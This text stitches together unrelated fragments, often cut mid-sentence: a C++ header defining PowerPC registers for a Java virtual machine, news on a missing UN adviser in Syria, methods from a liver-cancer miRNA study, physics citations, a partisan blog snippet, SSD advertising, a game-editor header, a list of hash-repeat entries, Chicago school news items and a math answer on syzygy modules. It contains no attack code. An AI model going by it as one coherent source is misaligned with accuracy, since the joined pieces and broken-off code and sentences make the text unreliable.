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51, 24, 64, 16601, 23938, 3902, 1228, 187, 4, 3182, 416, 25, 6048, 16601, 2769, 51, 25, 64, 16601, 23938, 3902, 1228, 187, 4, 3182, 416, 26, 6048, 16601, 2769, 51, 26 ]	its affiliates. All rights reserved. * Copyright (c) 2012, 2017 SAP SE. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. * / #ifndef CPU_PPC_VM_REGISTER_PPC_HPP #define CPU_PPC_VM_REGISTER_PPC_HPP #include "asm/register.hpp" // forward declaration class Address; class VMRegImpl; typedef VMRegImpl VMReg; // PPC64 registers // // See "64-bit PowerPC ELF ABI Supplement 1.7", IBM Corp. (2003-10-29). // (http://math-atlas.sourceforge.net/devel/assembly/PPC-elf64abi-1.7.pdf) // // r0 Register used in function prologs (volatile) // r1 Stack pointer (nonvolatile) // r2 TOC pointer (volatile) // r3 Parameter and return value (volatile) // r4-r10 Function parameters (volatile) // r11 Register used in calls by pointer and as an environment pointer for languages which require one (volatile) // r12 Register used for exception handling and glink code (volatile) // r13 Reserved for use as system thread ID // r14-r31 Local variables (nonvolatile) // // f0 Scratch register (volatile) // f1-f4 Floating point parameters and return value (volatile) // f5-f13 Floating point parameters (volatile) // f14-f31 Floating point values (nonvolatile) // // LR Link register for return address (volatile) // CTR Loop counter (volatile) // XER Fixed point exception register (volatile) // FPSCR Floating point status and control register (volatile) // // CR0-CR1 Condition code fields (volatile) // CR2-CR4 Condition code fields (nonvolatile) // CR5-CR7 Condition code fields (volatile) // // ---------------------------------------------- // On processors with the VMX feature: // v0-v1 Volatile scratch registers // v2-v13 Volatile vector parameters registers // v14-v19 Volatile scratch registers // v20-v31 Non-volatile registers // vrsave Non-volatile 32-bit register // Use Register as shortcut class RegisterImpl; typedef RegisterImpl* Register; inline Register as_Register(int encoding) { assert(encoding >= -1 && encoding < 32, "bad register encoding"); return (Register)(intptr_t)encoding; } // The implementation of integer registers for the Power architecture class RegisterImpl: public AbstractRegisterImpl { public: enum { number_of_registers = 32 }; // general construction inline friend Register as_Register(int encoding); // accessors int encoding() const { assert(is_valid(), "invalid register"); return value(); } inline VMReg as_VMReg(); Register successor() const { return as_Register(encoding() + 1); } // testers bool is_valid() const { return ( 0 <= (value()&0x7F) && (value()&0x7F) < number_of_registers); } bool is_volatile() const { return ( 0 <= (value()&0x7F) && (value()&0x7F) <= 13 ); } bool is_nonvolatile() const { return (14 <= (value()&0x7F) && (value()&0x7F) <= 31 ); } const char* name() const; }; // The integer registers of the PPC architecture CONSTANT_REGISTER_DECLARATION(Register, noreg, (-1)); CONSTANT_REGISTER_DECLARATION(Register, R0, (0)); CONSTANT_REGISTER_DECLARATION(Register, R1, (1)); CONSTANT_REGISTER_DECLARATION(Register, R2, (2)); CONSTANT_REGISTER_DECLARATION(Register, R3, (3)); CONSTANT_REGISTER_DECLARATION(Register, R4, (4)); CONSTANT_REGISTER_DECLARATION(Register, R5, (5)); CONSTANT_REGISTER_DECLARATION(Register, R6, (6)); CONSTANT_REGISTER_DECLARATION(Register, R7, (7)); CONSTANT_REGISTER_DECLARATION(Register, R8, (8)); CONSTANT_REGISTER_DECLARATION(Register, R9, (9)); CONSTANT_REGISTER_DECLARATION(Register, R10, (10)); CONSTANT_REGISTER_DECLARATION(Register, R11, (11)); CONSTANT_REGISTER_DECLARATION(Register, R12, (12)); CONSTANT_REGISTER_DECLARATION(Register, R13, (13)); CONSTANT_REGISTER_DECLARATION(Register, R14, (14)); CONSTANT_REGISTER_DECLARATION(Register, R15, (15)); CONSTANT_REGISTER_DECLARATION(Register, R16, (16)); CONSTANT_REGISTER_DECLARATION(Register, R17, (17)); CONSTANT_REGISTER_DECLARATION(Register, R18, (18)); CONSTANT_REGISTER_DECLARATION(Register, R19, (19)); CONSTANT_REGISTER_DECLARATION(Register, R20, (20)); CONSTANT_REGISTER_DECLARATION(Register, R21, (21)); CONSTANT_REGISTER_DECLARATION(Register, R22, (22)); CONSTANT_REGISTER_DECLARATION(Register, R23, (23)); CONSTANT_REGISTER_DECLARATION(Register, R24, (24)); CONSTANT_REGISTER_DECLARATION(Register, R25, (25)); CONSTANT_REGISTER_DECLARATION(Register, R26, (26)); CONSTANT_REGISTER_DECLARATION(Register, R27, (27)); CONSTANT_REGISTER_DECLARATION(Register, R28, (28)); CONSTANT_REGISTER_DECLARATION(Register, R29, (29)); CONSTANT_REGISTER_DECLARATION(Register, R30, (30)); CONSTANT_REGISTER_DECLARATION(Register, R31, (31)); // // Because Power has many registers, #define'ing values for them is // beneficial in code size and is worth the cost of some of the // dangers of defines. If a particular file has a problem with these // defines then it's possible to turn them off in that file by // defining DONT_USE_REGISTER_DEFINES. Register_definition_ppc.cpp // does that so that it's able to provide real definitions of these // registers for use in debuggers and such. // #ifndef DONT_USE_REGISTER_DEFINES #define noreg ((Register)(noreg_RegisterEnumValue)) #define R0 ((Register)(R0_RegisterEnumValue)) #define R1 ((Register)(R1_RegisterEnumValue)) #define R2 ((Register)(R2_RegisterEnumValue)) #define R3 ((Register)(R3_RegisterEnumValue)) #define R4 ((Register)(R4_RegisterEnumValue)) #define R5 ((Register)(R5_RegisterEnumValue)) #define R6 ((Register)(R6_RegisterEnumValue)) #define R7 ((Register)(R7_RegisterEnumValue)) #define R8 ((Register)(R8_RegisterEnumValue)) #define R9 ((Register)(R9
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38756, 1025, 715, 247, 2014, 894, 13, 285, 840, 11974, 7019, 342, 13626, 15, 1876, 1341, 497, 38110, 275, 6783, 575, 31550, 4865, 6391, 2975, 13, 285, 608, 575, 31550, 273, 45326, 249, 657, 14, 39, 43414, 285, 884, 575, 31550, 273, 14328, 497, 2879, 15, 380, 7802, 369, 15492, 25584, 264, 285, 840, 10729, 323, 1458 ]	staffer said to be a Canadian adviser VANCOUVER — A United Nations staffer who went missing along the Syria-Israel border is a Canadian legal adviser to the commander of the UN mission on the Golan Heights, a source who says he met with the missing man told JTA. Media reports have identified the missing staff member as a legal adviser to the United Nations Disengagement Observer Force. The United Nations has confirmed a member is missing from the peacekeeping force. "We can confirm that a staff member is not accounted for and we are in touch with the relevant parties to determine what has happened," UN deputy spokesman Eduardo del Buey said Monday. The source familiar with the missing staff member told JTA he had met with the man, who he identified as Carl Campeau, in Israel recently and that Campeau is a Canadian civilian staffer unaffiliated with the Canadian government. The source, who requested anonymity, also told JTA that Campeau might hold dual Canadian-Austrian citizenship, as Campeau said his son was Austrian. Campeau discussed the security situation of the UN observer force with the source at length during his visit, the source said, and said it was a serious concern to the peacekeeping mission. The Times of Israel reported Monday that Syrian rebels had taken control of the entire Syrian side of the border with Israel, except for the Quneitra border crossing. The rebels are wary of taking the border crossing due to the political ramifications, the news website reported. A correspondent with the Sunday Times of London in Damascus reported on Twitter that Campeau was kidnapped six days ago by what sources said were "criminal gangs." Reached by email on Feb. 27, a spokeswoman for the Canadian Department of Foreign Affairs told The CJN that Canada was aware a member of the United Nations Disengagement Observer Force mission was unaccounted for in Syria, but would not say whether the staffer was Canadian. "We are aware of reports on a missing UN employee in Syria. We are pursuing all appropriate channels to seek further information and are in contact with UN authorities," Chrystiane Roy, a spokesperson for the department, said. Canada pulled out of the peacekeeping force in 2006, leaving two officers for logistical support. The number of officers was later upgraded to three. But according to media reports last fall, the Canadians withdrew their remaining officers from the force in September as the fighting in Syria spilled into the demilitarized zone along the border. The peacekeeping mission has operated on the border between Syria and the Golan Heights since 1974, following the Yom Kippur War in 1973. The UN force has approximately 1,150 members; the peacekeeping soldiers come from Austria, Croatia, India, Japan and the Philippines.Background {#Sec1} ========== Hepatocellular carcinoma (HCC) is one of the most aggressive malignancies worldwide, being recognized as the third leading cause of cancer-related deaths \[[@CR1], [@CR2]\]. HCC is the fifth most common malignancy in men and the seventh among women \[[@CR3]\]. The incidence of HCC depends on geography, and most of the burden is in developing countries, occurred with hepatitis. The situation is more severe in China, with poorer 5-year survival \[[@CR4]\]. The tumorigenesis of HCC is a multistage process including noncoding and protein-coding genes. MiRNAs are found to be deregulated in most malignancies, affecting carcinogenesis, progression, metastasis and tumor recurrence. In HCC, it has been reported that aberrant expression of let-7 miRNAs contributed to the development and progression of HCC \[[@CR5], [@CR6]\]. Research has indicated that some miRNAs may function as oncogenes when up-regulated in HCC; to the contrary, the down-regulated miRNAs suggested them as tumor suppressors \[[@CR7], [@CR8]\]. Functioning as tumor suppressors, let-7 miRNAs were found to repress Ras, Bcl-xl, MAPK, c-Myc, cyclin D1 and other oncogenes in HCC \[[@CR8], [@CR9]\]. Wnt1 stimulates the Wnt/β-catenin/TCF pathway, leading to different cell fates, and then regulating the transcription of many downstream genes which contain the TCF/LEF1 motif, affecting biological functions and the maintenance of self-renewal of cancer stem cells (CSCs) \[[@CR10]--[@CR12]\]. However, there is no research focused on the relationship between let-7 and the Wnt signaling pathway. Tumors consist of cells with heterogeneity, with different characteristics, and the CSCs are demonstrated to be steady and stable through clinical chemo-radiotherapy, due to the slow cell cycles and low proliferative ability, contributing to tumor relapse and occurrence of resistance \[[@CR8], [@CR13]\]. Therefore, treatments targeting these silent CSCs will show great potential in eliminating the tumor group entirely, helping to overcome resistance to therapy and recurrence of the tumor. However, the underlying mechanism by which let-7 works to inhibit CSCs in HCC remains largely unknown. Methods {#Sec2} ======= Cell culture, transfection and infection {#Sec3} ---------------------------------------- MHCC97-H and HCCLM3 human HCC cells were purchased from ATCC and maintained at the central laboratory of the Qilu Hospital of Shandong University. The cells are cultured in DMEM medium (Invitrogen, USA), containing 10 % fetal bovine serum (FBS), 1 % penicillin and 1 % streptomycin (Invitrogen, USA). The spheres (hepatospheres) were cultured in DMEM/Ham's F-12 medium compounded with 10 ng/ml epidermal growth factor, 10 ng/ml human basic fibroblast growth factor, 4 μg/ml insulin, 1 % penicillin and 1 % streptomycin (Invitrogen, USA). Oligonucleotides encoding mature let-7a/b/c/d/e/f/g/i miRNAs and miRNA-LSC1 were synthesized by Invitrogen and cloned into the lentiviral vector lentilox3.7 (pLL3.7). SiRNAs targeting Wnt1were synthesized and purchased from GenePharma Inc. (Shanghai, China). Transfections were performed using Lipofectamine 2000 (Invitrogen, USA), and the siRNAs were added the second days after cells were plated. Transiently transfected HCC cells were harvested 48 h post-transfection. Reverse transcription PCR and real-time PCR {#Sec4} ------------------------------------------- Total RNA was isolated from fresh clinical specimen using TRIzol® Reagent (Invitrogen, USA) following mechanical tissue homogenization, or from or cultured cells using Trizol reagent after treatment with 5 μg/ml puromycin for 48 h. Approximately 1 μg of RNA was reverse-transcribed to single strand cDNA using PrimeScript RT Master Mix (Takara Biotechnology, China). The real-time PCR was conducted in a total volume of 25 μl as previously reported \[[@CR7], [@CR14]\]. The cycle threshold (Ct) was automatically calculated by iQ™-5 Optical Module software (Bio-rad, USA). The relative expression of let-7 family members was normalized to U6 expression, and then calculated using the formula 2^−ΔΔCt^ method, versus the scramble control. Sphere formation assays {#Sec5} ----------------------- The spheres formation assay is often used to enrich stem-like cells, being are used to isolate and expand population enriched in CSCs \[[@CR15]--[@CR18]\]. Cells of different groups were seeded in ultra-low adherent-conditioned plates (Corning, USA) to test their ability of forming primary spheres, in the presence of puromycin. In total, 12,000 cells were seeded per 6 cm plate. On day 9, cell sphere number of spheres was counted using an inverted microscope, a sphere was defined as contaning more than 10 cells. The sphere-forming efficiency was calculated as the percentage of counted spheres versus seeded cells \[[@CR19]\]. Spheres of different groups were disaggregated, and 12,000 cells were then re-suspended per 6 cm plate to test their self-renewal ability. Immunofluorescence and IHC {#Sec6} -------------------------- Cells were seeded on glass chamber slides for 24 h, and then fixed by 10 % formalin for 15 min. Antigens were blocked with 2 % normal goat serum (ab7481, Abcam, USA), cells werethen incubated with the β-catenin antibody for 1 h in PBS, and then incubated with Alexa Fluor® 488 (Life technologies, USA) for 30 min, washed in PBS, incubated for 10 min with 2 μg/ml of Hoechst 33342 (Life technologies, USA), and washed with PBS again. For IHC, the paraffin tissues were rehydrated in an alcohol gradient and then were rinsed in deionized water. Endogenous peroxidase activity was blocked using a 0.03 % hydrogen peroxide solution. 1:200 IHC-TekTM Antibody Diluent (IW-1000, Ellicott City, MD, USA) was used to reduce background staining. The section was then incubated with 1 μg/ml ab16051 for 1 h at room temperature and detected using an HRP, DAB was used as the chromogen. Flow cytometry analysis {#Sec7} ----------------------- The propidium iodide (PI) and Annexin V-FITC (Green) kits were obtained from BD Biosciences (San Jose, CA). Cells of different groups were collected and trypsinized into a single cell, and then washed twice with PBS. All cells were resuspended in 500 μl binding buffer respectively, and 5 μl of Annexin V-FITC and 10 μl of PI were added. The mixture was gently vortexed and then incubated for 15
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S. K. Dhar, R. Nagarajan, Z. Hossain, E. Tominez, C. Godart, L.C. Gupta and R. Vijayaraghavan; Solid State Communications, [98]{}, 11 (1996). V. K. Anand, A. D. Hillier, D. T. Adroja, A. M. Strydom, H. Michor, K. A. McEwen and B. D. Rainford; Phys. Rev. B, [83]{}, 064522 (2011) Yuji Muro, Duhwa Eom, Naoya Takeda and Masayasu Ishikawa ; J. Phys. Soc. Jpn. [67]{}, 3601(1998). T. Terashima, M. Kimata, S. Uji, T. Sugawara, N. Kimura, H. Aoki and H. Harima; Phys. Rev. B, [78]{}, 205107 (2008). N. Kimura, Y. Umeda, T. Asai, T. Terashima and H. Aoki; Physica B [294-295]{},280 (2001) V. T. Rajan; Phys. Rev. Lett. [51]{}, 308 (1983). A. Jesche, C. Krellner, M. de Souza, M. Lang, and C. Geibel; Phys. Rev. B, [81]{}, 134525 (2010). A Jesche, C Krellner, M de Souza, M Lang and C Geibel; New Journal of Physics [11]{}, 103050 (2009). Kazuhiko Satoh, Toshizo Fujita, Yoshiteru Maeno, Yoshichika Ōnukiand Takemi Komatsubara; J. Phys. Soc. Jpn. [58]{}, 1012 (1989). V. T. Rajan, J. H. LowensteinandN. Andrei; Phys. Rev. Lett. [49]{}, 497 (1982) V. Zlatić and R. Monnier Phys. Rev. B [71]{}, 165109 (2005). K. Miyake and H. Kohno. J. Phys. Soc. Jpn. [74]{}, 254 (2005). Posts Tagged «politico» Here is what I cannot stand about the liberal media. That you have a certified jerk and admitted Oxycontin addict like Rush Limbaugh, rushed off to the hospital while on his Christmas vacation, admitting to the medical crews that he was taking drugs for his back problems. That old excuse? Where are all the conflicting reports? Where are the many spoofs on his drug addiction? Where is that hospital report? If this was any other well-known person (I hate to call him a celebrity because he is so gross), it would be all over the tabloids. But yoo hoo…must you… Read More »Find the Right SSD Solution for your Workload Needs 7X faster than SATA III 6GB/s SSD SSD is 5X faster than HDD PCIe 5 years limited warranty Outstanding Reliability SATA III 6GB/s is 3 years warranty Composition of SSD Storage Devices Controller + NAND Flash + DRAM 3D NAND flash is a type of flash memory in which the memory cells are stacked vertically in multiple layers. 3D NAND is developed to break through density limitations of the 2D planar NAND, and thus can deliver a greater level of performance and endurance./ A GTK widget showing the list of NPC's. Written: 7/6/2005 - JSF */ #ifndef INCL_NPCLST #define INCL_NPCLST 1 / Copyright (C) 2005-2013 The Exult Team This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. / #include "objbrowse.h" #include "shapedraw.h" #include "rect.h" #include <vector> #include <ctime> #include <string> class Vga_file; class Image_buffer8; class Shapes_vga_file; class Editing_file; class Estudio_npc; / * Store information about an NPC shown in the list. / class Npc_entry { friend class Npc_chooser; short npcnum; Rectangle box; // Box where drawn. public: void set(int num, int rx, int ry, int rw, int rh) { npcnum = num; box = Rectangle(rx, ry, rw, rh); } }; / * One row. / class Npc_row { friend class Npc_chooser; short height = 0; // In pixels. long y; // Absolute y-coord. in pixels. unsigned index0; // Index of 1st Npc_entry in row. }; / * This class manages a list of NPC's. / class Npc_chooser: public Object_browser, public Shape_draw { GtkWidget sbar; // Status bar. guint sbar_sel; // Status bar context for selection. std::vector<Npc_entry> info; // Pos. of each shape/frame. std::vector<Npc_row> rows; unsigned row0; // Row # at top of window. int row0_voffset; // Vert. pos. (in pixels) of top row. long total_height; // In pixels, for all rows. int last_npc; // Last shape visible in window. int voffset; // Vertical offset in pixels. int status_id; // Statusbar msg. ID. int red; // Index of color red in palbuf. bool drop_enabled; // So we only do it once. void (sel_changed)(); // Called when selection changes. // Blit onto screen. void show(int x, int y, int w, int h) override; void show() override { Npc_chooser::show(0, 0, draw->allocation.width, draw->allocation.height); } void select(int new_sel); // Show new selection. void render() override; // Draw list. void set_background_color(guint32 c) override { Shape_draw::set_background_color(c); } void setup_info(bool savepos = true) override; void setup_shapes_info(); int find_npc(int npcnum); // Find index for given NPC. void goto_index(unsigned index); // Get desired index in view. int get_selected_id() override { return selected; } void scroll_row_vertical(unsigned newrow); void scroll_vertical(int newoffset); // Scroll. void setup_vscrollbar(); // Set new scroll amounts. GtkWidget create_popup() override; // Popup menu. public: Npc_chooser(Vga_file i, unsigned char palbuf, int w, int h, Shape_group g = nullptr, Shape_file_info fi = nullptr); ~Npc_chooser() override; int get_count(); // Get # shapes we can display. std::vector<Estudio_npc> &get_npcs(); void search(const char srch, int dir) override; void locate(bool upwards) override; // Locate NPC on game map. // Turn off selection. void unselect(bool need_render = true); void update_npc(int num); void update_statusbar(); bool is_selected() { // Is a shape selected? return selected >= 0; } void set_selected_callback(void (fun)()) { sel_changed = fun; } unsigned get_num_cols(
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1), repeat("b7015a5d36990d69a054482556127b9c7404a24a", 1), repeat("ce9f123d790717599aaeb76bc62510de437761be", 1), repeat("8980daf661408a3faa1f22c225702a5c1d11d5c9", 1), repeat("ce9f123d790717599aaeb76bc62510de437761be", 6), repeat("d2f6214b625db706384b378a29cc4c22237db97a", 1), repeat("ce9f123d790717599aaeb76bc62510de437761be", 3), repeat("d2f6214b625db706384b378a29cc4c22237db97a", 1), repeat("8980daf661408a3faa1f22c225702a5c1d11d5c9", 1), repeat("ce9f123d790717599aaeb76bc62510de437761be", 4), repeat("b7015a5d36990d69a054482556127b9c7404a24a", 1), repeat("c9c2a0ec03968ab17e8b16fdec9661eb1dbea173", 1), repeat("d2f6214b625db706384b378a29cc4c22237db97a", 2), repeat("8980daf661408a3faa1f22c225702a5c1d11d5c9", 1), repeat("b7015a5d36990d69a054482556127b9c7404a24a", 1), repeat("ce9f123d790717599aaeb76bc62510de437761be", 12), repeat("6328ee836affafc1b52127147b5ca07300ac78e6", 1), repeat("ce9f123d790717599aaeb76bc62510de437761be", 5), repeat("6328ee836affafc1b52127147b5ca07300ac78e6", 1), repeat("ce9f123d790717599aaeb76bc62510de437761be", 3), repeat("6328ee836affafc1b52127147b5ca07300ac78e6", 1), repeat("01e65d67eed8afcb67a6bdf1c962541f62b299c9", 5), repeat("ce9f123d790717599aaeb76bc62510de437761be", 3), repeat("a47d0aaeda421f06df248ad65bd58230766bf118", 5), repeat("6328ee836affafc1b52127147b5ca07300ac78e6", 1), repeat("ce9f123d790717599aaeb76bc62510de437761be", 5), repeat("6328ee836affafc1b52127147b5ca07300ac78e6", 1), repeat("ce9f123d790717599aaeb76bc62510de437761be", 1), repeat("01e65d67eed8afcb67a6bdf1c962541f62b299c9", 2), repeat("6328ee836affafc1b52127147b5ca07300ac78e6", 1), repeat("01e65d67eed8afcb67a6bdf1c962541f62b299c9", 1), repeat("6328ee836affafc1b52127147b5ca07300ac78e6", 1), repeat("b2c7142082d52b09ca20228606c31c7479c0833e", 1), repeat("ce9f123d790717599aaeb76bc62510de437761be", 1), repeat("495c7118e7cf757aa04eab410b64bfb5b5149ad2", 1), repeat("d4b48a39aba7d3bd3e8abef2274a95b112d1ae73", 1), repeat("495c7118e7cf757aa04eab410b64bfb5b5149ad2", 3), repeat("d4b48a39aba7d3bd3e8abef2274a95b112d1ae73", 1), repeat("495c7118e7cf757aa04eab410b64bfb5b5149ad2", 1), repeat("50d0556563599366f29cb286525780004fa5a317", 1), repeat("dd2d03c19658ff96d371aef00e75e2e54702da0e", 1), repeat("d4b48a39aba7d3bd3e8abef2274a95b112d1ae73", 1), repeat("dd2d03c19658ff96d371aef00e75e2e54702da0e", 2), repeat("ce9f123d790717599aaeb76bc62510de437761be", 2), repeat("01e65d67eed8afcb67a6bdf1c962541f62b299c9", 1), repeat("6328ee836affafc1b52127147b5ca07300ac78e6", 1), repeat("8980daf661408a3faa1f22c225702a5c1d11d5c9", 1), repeat("b5c6053a46993b20d1b91e7b7206bffa54669ad7", 1), repeat("9e74d009894d73dd07773ea6b3bdd8323db980f7", 1), repeat("ce9f123d790717599aaeb76bc62510de437761be", 1), repeat("d4b48a39aba7d3bd3e8abef2274a95b112d1ae73", 4), repeat("01e65d67eed8afcb67a6bdf1c962541f62b299c9", 1), repeat("6328ee836affafc1b52127147b5ca07300ac78e6", 1), repeat("ce9f123d790717599aaeb76bc62510de437761be", 1), repeat("b7015a5d36990d69a054482556127b9c7404a24a", 1), repeat("ce9f123d790717599aaeb76bc62510de437761be", 1), repeat("d2f6214b625db706384b378a29cc4c22237db97a", 1), repeat("8980daf661408a3faa1f22c225702a5c1d11d5c9", 3), repeat("b41d7c0e5b20bbe7c8eb6606731a3ff68f4e3941", 2), repeat("ce9f123d790717599aaeb76bc62510de437761be", 2), repeat("8980daf661408a3faa1f22c225702a5c1d11d5c9", 4), repeat("d2f6214b625db706384b378a29cc4c22237db97a", 1), repeat("b7015a5d36990d69a054482556127b9c7404a24a", 1), repeat("8980daf661408a3faa1f22c225702a5c1d11d5c9", 5), repeat("b41d7c0e5b20bbe7c8eb6606731a3ff68f4e3941", 2), repeat("d2f6214b625db706384b378a29cc4c22237db97a", 1), repeat("ce9f123d790717599aaeb76bc62510de437761be", 5), repeat("ba486de7c025457963701114c683dcd4
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4857, 671, 753, 667, 2143, 326, 1694, 625, 3484, 327, 253, 806, 1388, 651, 755 ]	iate. You will not do any of the initial steps to get some of that money back.”</p><p>The Chicago Teachers Union first sounded the alarm on the bank deals in 2011, but board members and CPS officials repeatedly dismissed the issue.</p><p>“Three years we’ve been coming here and being told that our facts are wrong, that we just don’t understand, and being dismissed by Mr. Vitale,” said Matthew Luskin, a CPS parent and organizer for the CTU. “A full week of Trib headlines tell a very different story.”</p><p>Luskin said he understands that CPS cannot just cancel the contracts with the banks, but he pushed the board to file for arbitration to renegotiate the contracts, and “take a stand.”</p><p>“They could call these banks out, blame them for the cuts and closings that have happened, instead of blaming retirees and parents and children who take up too many resources,” Luskin said. “They could announce that CPS won’t do business with these banks anymore if they refuse to renegotiate.”</p><p>McCaffrey with CPS said the district is monitoring the risks of its swap portfolio closely, “including the possibility of termination.” But he also said, by the district’s calculation, the deals saved more than $30 million in interest costs compared to the costs of fixed-rate bonds.</p><p>The debt payments and the minimum wage weren’t the only issues raised at the meeting. Two librarians came to speak about the <a href="http://www.wbez.org/news/losing-school-librarians-chicago-public-schools-110547" target="_blank">reassignments and layoffs of full-time librarians</a>.</p><p>“The loss of school librarians is especially alarming in CPS high schools where there are now only 38 high schools with librarians,” said Nora Wiltse, a school librarian at Coonley Elementary.</p><p>A student and a teacher from Kelly High School came to sound the alarm on <a href="http://www.wbez.org/news/custodial-contract-causing-problems-start-school-year-110767" target="_blank">cleanliness at their school since Aramark</a> took over CPS’s janitorial services.</p><p>The Board also approved <a href="http://www.wbez.org/cps-changes-school-ratingsagain-111118" target="_blank">a new school rating policy</a>.</p><p><iframe frameborder="no" height="166" scrolling="no" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/177839305&color=ff5500&auto_play=false&hide_related=false&show_comments=true&show_user=true&show_reposts=false" width="100%"></iframe></p></p>Thu, 20 Nov 2014 13:16:00 -0600http://www.wbez.org/news/cps-chief-backs-mayors-13-hour-minimum-wage-111138Aramark, CPS change plan to cut school janitorshttp://www.wbez.org/news/aramark-cps-change-plan-cut-school-janitors-110870 <img typeof="foaf:Image" src="http://llnw.wbez.org/main-images/2979169728_730927ae16_z.jpg" alt="" /><p><p>Today was supposed to be the last day of work for 468 janitors in Chicago Public Schools.</p><p>But Aramark, the private contractor now overseeing the management of custodians in CPS, is changing that plan <a href="http://www.wbez.org/news/custodial-contract-causing-problems-start-school-year-110767">after complaints about cleanliness</a> from principals, parents and teachers.</p><p>The union representing privately employed janitors in CPS said 178 janitors will keep their jobs and the remaining 290 will work for another month. Aramark spokesperson Karen Cutler confirmed those numbers and said they are working closely with the union and CPS to make sure schools have "appropriate custodial staffing levels."</p><p>“We would prefer to see no layoffs anywhere and see everybody have good paying, full-time jobs,” said Tom Balanoff, president of the Service Employees International Union Local 1.  “But again, we do think with the technology Aramark’s brought in and the readjustment on the number of janitors, we think that we will be able to maintain a good level of cleanliness in the schools.”</p><p>Balanoff said they are working to find jobs for the 290 janitors being laid off at the end of October.<br /><br />CPS has had privatized cleaning services for more than a decade, but last February, the board <a href="https://soundcloud.com/wbez/chicago-further-privatizes">voted to award two contracts worth a total $340 million</a> to Aramark and SodexoMAGIC. The two companies would manage all 2,500 janitors in the school system, even though the janitors remain employed by subcontractors, like <a href="http://www.wecleaninc.com/">WeClean Inc.</a> and Total Facilities, or by the Board of Education directly.</p><p>Balanoff said the change allows 83 of the longest-serving janitors employed by private subcontractors to keep their jobs. Another 95 will be hired directly as Aramark employees for at least the next 10 months.</p><p>The changes do not impact 825 janitors employed directly by the Board of Education. Those janitors are represented by SEIU Local 73. However, many of those board-funded janitors have been reassigned to other schools in light of the pending layoffs.</p><p>CPS officials did not immediately comment. It is not clear how much the move may cost and who will foot the bill, the district or Aramark.</p><p>At <a href="http://www.wbez.org/news/school-board-takes-cleanliness-controversy-110851">last week’s Board of Education meeting</a>, district Chief Administrative Officer Tim Cawley said Aramark was “flooding the zone” to fix any issues related to school cleanliness.</p></p>Mon, 29 Sep 2014 21:30:00 -0500http://www.wbez.org/news/aramark-cps-change-plan-cut-school-janitors-110870Chicago Public Schools will get money for no-show students, againhttp://www.wbez.org/news/chicago-public-schools-will-get-money-no-show-students-again-110861 <img typeof="foaf:Image" src="http://llnw.wbez.org/main-images/board of ed_2.jpg" alt="" /><p><p>Chicago Public Schools is making a surprising announcement that could cost the district millions of dollars.</p><p>In a letter being sent to principals today, CPS CEO Barbara Byrd-Bennett told schools they would <a href="http://www.wbez.org/news/no-further-budget-cuts-schools-didnt-attract-enough-students-108748" target="_blank">again be held harmless</a> for students who didn’t show up this year.</p><p>The district changed the way it funds schools last year. Instead of funding positions and programs from downtown, schools are now given about $5,000 per student on average, under a formula called “student-based budgeting.”</p><p>Last year, because the system was new, the district allowed schools that didn’t meet enrollment targets to keep the money allocated to them anyway.</p><p>In a call with reporters about layoffs in June, Byrd-Bennett insisted that would not happen again.</p><p>“No no no, that was last year, remember, and I preached that over and over that it was a one-time hold harmless,” she said.</p><p>But now, she’s changing her mind. In the letter to principals, Byrd-Bennett wrote that CPS plans to use “student-based budgeting transition contingency funds and anticipated surplus from Tax-Increment-Financing funds” to make sure schools get money based off their projections, not actual enrollment.</p><p>The letter also said any school that got more students on the first day would get
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If you need help finding that perfect promotional travel kit, contact our sales representatives now!Q: Coefficients such that linear combination lies in an ideal Let $R$ be a ring, $I$ an ideal, and $\langle g_1, \ldots, g_m \rangle$ a finitely generated ideal. Considering the intersection $I \cap \langle g_1, \ldots, g_m \rangle$, I became interested in the set of coefficients $c \in R^m$ such that $\sum_i c_i g_i \in I$. Question: is there an algorithm to calculate $\{ c \in R^m : \sum_i c_i g_i \in I \}$? It seems to be an $R$-module. It is easy to see that $\prod_i (I : (g_i))$ is contained in it (which contains $IR^m$). Does it have a name? Can it be expressed in terms of some other objects which can be computed? I am interested in the case $R = k[x_1,\ldots,x_n]$ where $k$ is a field, and (so) the ideal $I$ is also finitely generated. Maybe a Groebner basis of the intersection could help. Solution attempt: Suppose $I \cap \langle g_1, \ldots, g_m \rangle$ is finitely generated (e.g. $R$ is Noetherian). Say it is equal to $\langle h_1, \ldots, h_t \rangle$, and express $h_s = \sum_i b_{s,i} g_i$ with $b_{s,i} \in R$. Then $b_s = (b_{s,i}) \in R^m$ is contained in the set I'm interested in, for each $s=1,\ldots,t$. So the span $Rb_1+ \ldots+ Rb_t \subset R^m$ is contained in the set I'm interested in. Now the question is whether a different choice of basis for the intersection (or a different choice of coefficients) can give more elements in the span, and whether $Rb_1 + \ldots + Rb_t$ exhausts the set I'm interested in. A: Suppose $I = \langle f_1, \ldots, f_r\rangle$ and consider the map $R^r \oplus R^m \twoheadrightarrow I + J$ that sends $(b,c) \mapsto \sum_j b_j f_j + \sum_i c_i g_i$. Its kernel $K$ is the first module of syzygies for $I+J$. The projection of $K$ to $R^m$ is exactly the $R$-module $T$ that you want. Proof. The projection of $K$ to $R^m$ consists of those $c \in R^m$ for which there exists $b$ such that $\sum c_i g_i = -\sum b_j f_j \in I$, and for every $c \in R^m$ with $\sum c_i g_i \in I$ there exists such a $b$. So the algorithm is: calculate the first module of syzygies for $I+J$ and project to $R^m$. Example: $I = \langle f \rangle = 